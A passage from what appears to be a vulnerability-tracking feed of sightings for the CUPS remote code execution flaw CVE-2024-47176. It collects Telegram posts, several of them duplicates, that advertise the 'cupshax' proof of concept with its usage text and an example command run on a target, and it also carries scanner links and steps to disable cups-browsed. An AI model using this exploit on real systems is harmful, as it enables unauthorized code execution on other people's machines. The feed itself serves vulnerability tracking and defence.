\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 RCE. \u041d\u043e \u0431\u044b\u043b\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443 \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c. \u0412 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u043e\u0441\u0435 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f PoC.\n\n\ud83d\udee0 \u0418\u0437\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0439\u0442\u0430\u043f \u0422\u0423\u0422\n\n\u0410\u0432\u0442\u043e\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438\u0437\u0443\u0447\u0438\u043b\u0438 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432 OpenPrinting CUPS, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0431\u0430\u0433\u0430 \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 dns-sd \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430, \u0442\u0440\u0435\u0431\u0443\u044f, \u0447\u0442\u043e\u0431\u044b \u0446\u0435\u043b\u044c \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u0442.\u0435. \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438.\n\n\u27a1\ufe0f\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\nusage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT]\n\nA script for executing commands remotely\n\noptions:\n  -h, --help         show this help message and exit\n  --name NAME        The name to use (default: RCE Printer)\n  --ip IP            The IP address of the machine running this script\n  --command COMMAND  The command to execute (default: 'touch /tmp/pwn')\n  --port PORT        The port to connect on (default: 8631)\n\n\u27a1\ufe0f\u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\npython cupshax.py --name \"Print to PDF (Color)\" \\\n                  --command \"id>/tmp/pwn\" \\\n                  --ip 10.0.0.3\n\n\ud83d\udcf1 Github \u0438 \u043c\u043e\u0439 \u0444\u043e\u0440\u043a, \u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u043f\u044b\n\n\ud83c\udf1a @poxek | \ud83d\udcfa RuTube | \ud83c\udf1a \u041c\u0435\u0440\u0447 \u041f\u043e\u0445\u0435\u043a", "creation_timestamp": "2026-08-15T08:00:09.830247Z"}, {"uuid": "c009c862-3f5c-4ae4-9d8a-adff2feb484a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/aktivcons/1461", "content": "\ud83d\udc27 Cupshax - RCE \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u0435\u0447\u0430\u0442\u0438 \u0432 UNIX\n#unix #RCE #CVE\n\nCVE-2024-47176 CVE-2024-47076 CVE-2024-47175 CVE-2024-47177\n\n\u0412\u0447\u0435\u0440\u0430 \u0432\u0435\u0447\u0435\u0440\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043d\u0430\u0432\u043e\u0434\u043d\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c\u044e \u043e \u043d\u043e\u0432\u043e\u0439 \u0431\u0430\u0433\u0435 \u0432 UNIX \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 RCE. \u041d\u043e \u0431\u044b\u043b\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443 \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c. \u0412 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u043e\u0441\u0435 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f PoC.\n\n\ud83d\udee0 \u0418\u0437\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0439\u0442\u0430\u043f \u0422\u0423\u0422\n\n\u0410\u0432\u0442\u043e\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438\u0437\u0443\u0447\u0438\u043b\u0438 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432 OpenPrinting CUPS, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0431\u0430\u0433\u0430 \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 dns-sd \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430, \u0442\u0440\u0435\u0431\u0443\u044f, \u0447\u0442\u043e\u0431\u044b \u0446\u0435\u043b\u044c \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u0442.\u0435. \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438.\n\n\u27a1\ufe0f\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\nusage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT]\n\nA script for executing commands remotely\n\noptions:\n  -h, --help         show this help message and exit\n  --name NAME        The name to use (default: RCE Printer)\n  --ip IP            The IP address of the machine running this script\n  --command COMMAND  The command to execute (default: 'touch /tmp/pwn')\n  --port PORT        The port to connect on (default: 8631)\n\n\u27a1\ufe0f\u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\npython cupshax.py --name \"Print to PDF (Color)\" \\\n                  --command \"id>/tmp/pwn\" \\\n                  --ip 10.0.0.3\n\n\ud83d\udcf1 Github \u0438 \u043c\u043e\u0439 \u0444\u043e\u0440\u043a, \u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u043f\u044b\n\n\ud83c\udf1a @poxek | \ud83d\udcfa RuTube | \ud83c\udf1a \u041c\u0435\u0440\u0447 \u041f\u043e\u0445\u0435\u043a", "creation_timestamp": "2026-08-16T00:00:14.518905Z"}, {"uuid": "83a5f463-81c5-4ff4-929f-58235f8fbe3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/GithubRedTeam/87699", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #\u6f0f\u6d1e #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-47176\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0x7556\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-07 10:00:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnix CUPS\u6253\u5370\u7cfb\u7edf \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T12:00:04.732959Z"}, {"uuid": "5a725b46-fc6b-44ce-8205-8aa50d41b05e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/securixy_kz/1009", "content": "\ud83d\udc27 Cupshax - RCE \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u0435\u0447\u0430\u0442\u0438 \u0432 UNIX\n#unix #RCE #CVE\n\nCVE-2024-47176 CVE-2024-47076 CVE-2024-47175 CVE-2024-47177\n\n\u0412\u0447\u0435\u0440\u0430 \u0432\u0435\u0447\u0435\u0440\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043d\u0430\u0432\u043e\u0434\u043d\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c\u044e \u043e \u043d\u043e\u0432\u043e\u0439 \u0431\u0430\u0433\u0435 \u0432 UNIX \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 RCE. \u041d\u043e \u0431\u044b\u043b\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443 \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c. \u0412 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u043e\u0441\u0435 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f PoC.\n\n\ud83d\udee0 \u0418\u0437\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0439\u0442\u0430\u043f \u0422\u0423\u0422\n\n\u0410\u0432\u0442\u043e\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438\u0437\u0443\u0447\u0438\u043b\u0438 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432 OpenPrinting CUPS, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0431\u0430\u0433\u0430 \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 dns-sd \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430, \u0442\u0440\u0435\u0431\u0443\u044f, \u0447\u0442\u043e\u0431\u044b \u0446\u0435\u043b\u044c \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u0442.\u0435. \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438.\n\n\u27a1\ufe0f\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\nusage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT]\n\nA script for executing commands remotely\n\noptions:\n  -h, --help         show this help message and exit\n  --name NAME        The name to use (default: RCE Printer)\n  --ip IP            The IP address of the machine running this script\n  --command COMMAND  The command to execute (default: 'touch /tmp/pwn')\n  --port PORT        The port to connect on (default: 8631)\n\n\u27a1\ufe0f\u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\npython cupshax.py --name \"Print to PDF (Color)\" \\\n                  --command \"id>/tmp/pwn\" \\\n                  --ip 10.0.0.3\n\n\ud83d\udcf1 Github \u0438 \u043c\u043e\u0439 \u0444\u043e\u0440\u043a, \u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u043f\u044b\n\n\ud83c\udf1a @poxek | \ud83d\udcfa RuTube | \ud83c\udf1a \u041c\u0435\u0440\u0447 \u041f\u043e\u0445\u0435\u043a", "creation_timestamp": "2026-07-12T22:00:10.004890Z"}, {"uuid": "c25ea8a0-6f12-466b-8859-8efbc226ad81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/GithubRedTeam/88926", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-47176\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gumerzzzindo\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-15 09:30:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:42.723526Z"}, {"uuid": "6a9f655f-a576-4fbc-837c-184380727dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/securixy_kz/1009", "content": "\ud83d\udc27 Cupshax - RCE \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0443\u0436\u0431\u0443 \u043f\u0435\u0447\u0430\u0442\u0438 \u0432 UNIX\n#unix #RCE #CVE\n\nCVE-2024-47176 CVE-2024-47076 CVE-2024-47175 CVE-2024-47177\n\n\u0412\u0447\u0435\u0440\u0430 \u0432\u0435\u0447\u0435\u0440\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043d\u0430\u0432\u043e\u0434\u043d\u0438\u043b\u0441\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c\u044e \u043e \u043d\u043e\u0432\u043e\u0439 \u0431\u0430\u0433\u0435 \u0432 UNIX \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 RCE. \u041d\u043e \u0431\u044b\u043b\u0438 \u043e\u0441\u043e\u0431\u044b\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443 \u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043d\u0430 \u043f\u0435\u0447\u0430\u0442\u044c. \u0412 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u043e\u0441\u0435 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f PoC.\n\n\ud83d\udee0 \u0418\u0437\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0439\u0442\u0430\u043f \u0422\u0423\u0422\n\n\u0410\u0432\u0442\u043e\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438\u0437\u0443\u0447\u0438\u043b\u0438 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432 OpenPrinting CUPS, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0431\u0430\u0433\u0430 \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 dns-sd \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430, \u0442\u0440\u0435\u0431\u0443\u044f, \u0447\u0442\u043e\u0431\u044b \u0446\u0435\u043b\u044c \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u043e\u0432\u0435\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u0442.\u0435. \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0435\u0442\u0438.\n\n\u27a1\ufe0f\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\nusage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT]\n\nA script for executing commands remotely\n\noptions:\n  -h, --help         show this help message and exit\n  --name NAME        The name to use (default: RCE Printer)\n  --ip IP            The IP address of the machine running this script\n  --command COMMAND  The command to execute (default: 'touch /tmp/pwn')\n  --port PORT        The port to connect on (default: 8631)\n\n\u27a1\ufe0f\u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\npython cupshax.py --name \"Print to PDF (Color)\" \\\n                  --command \"id>/tmp/pwn\" \\\n                  --ip 10.0.0.3\n\n\ud83d\udcf1 Github \u0438 \u043c\u043e\u0439 \u0444\u043e\u0440\u043a, \u043d\u0430 \u0441\u043b\u0443\u0447\u0430\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u043f\u044b\n\n\ud83c\udf1a @poxek | \ud83d\udcfa RuTube | \ud83c\udf1a \u041c\u0435\u0440\u0447 \u041f\u043e\u0445\u0435\u043a", "creation_timestamp": "2026-07-14T00:01:00.428589Z"}, {"uuid": "92e38d11-3fdc-4768-a0f8-89d8f19ec69f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/88926", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-47176\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gumerzzzindo\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-15 09:30:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:06.657303Z"}, {"uuid": "66fa53ed-491d-4b77-ba80-79b91117a8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "Telegram/7wZCC-BUXTpDWEW7jClwGONwAUYxvq3XR6pqbqp3HRrJIC0", "content": "", "creation_timestamp": "2026-07-16T19:00:13.020624Z"}, {"uuid": "727744c3-b54c-4a77-9554-663ed2cabbfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "Telegram/7wZCC-BUXTpDWEW7jClwGONwAUYxvq3XR6pqbqp3HRrJIC0", "content": "", "creation_timestamp": "2026-07-18T00:00:43.975180Z"}, {"uuid": "4280589e-72bb-469f-9dd6-a7c29559a679", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "Telegram/ouhk3SK0U0YcvIvcJoFXHI9iFYsPc3bZ0GSeysbZcVzBxZ8", "content": "", "creation_timestamp": "2026-08-26T20:00:03.978656Z"}, {"uuid": "a6cef880-82a1-453e-bc5f-a1e024863c37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/thehaking/2806", "content": "Scan for CVE-2024-47176 (CUPS - Remote Code Execution) with Nuclei\n\nVulnerability discovery: https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\nNuclei Template: https://cloud.projectdiscovery.io/?template=CVE-2024-47176\n\nSource: https://x.com/pdnuclei/status/1840195177098453308\n\n\ud83d\udc49@thehaking", "creation_timestamp": "2026-08-28T00:00:58.863523Z"}, {"uuid": "32190e8f-6207-40f0-9fb3-328bf9228164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/cyberwarehouse/539", "content": "CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177: Linux OpenPrinting CUPS RCE\n\nblog: https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/\n\nPoC: https://github.com/RickdeJager/cupshax\n\npatch:\nsudo systemctl stop cups-browsed\nsudo systemctl disable cups-browsed\n\n#exploit #git #pentest #redteam", "creation_timestamp": "2026-07-26T02:00:18.067153Z"}, {"uuid": "63970f41-cf36-48fd-9a71-1b402351b85b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/EchelonEyes/3222", "content": "\u0421\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 CUPS \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Linux\n\n\u041f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u043d\u0430\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0435\u0447\u0430\u0442\u0438 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c CUPS \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u0445.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0434\u0435\u0442 \u0440\u0435\u0447\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-47076 (libcupsfilters), CVE-2024-47175 (libppd), CVE-2024-47176 (cups-browsed) \u0438 CVE-2024-47177 (cups-filters). \u0412\u0430\u0436\u043d\u043e, \u0447\u0442\u043e \u043e\u043d\u0438 \u043d\u0435 \u0432\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\nCUPS (\u0441\u043e\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 Common UNIX Printing System) \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 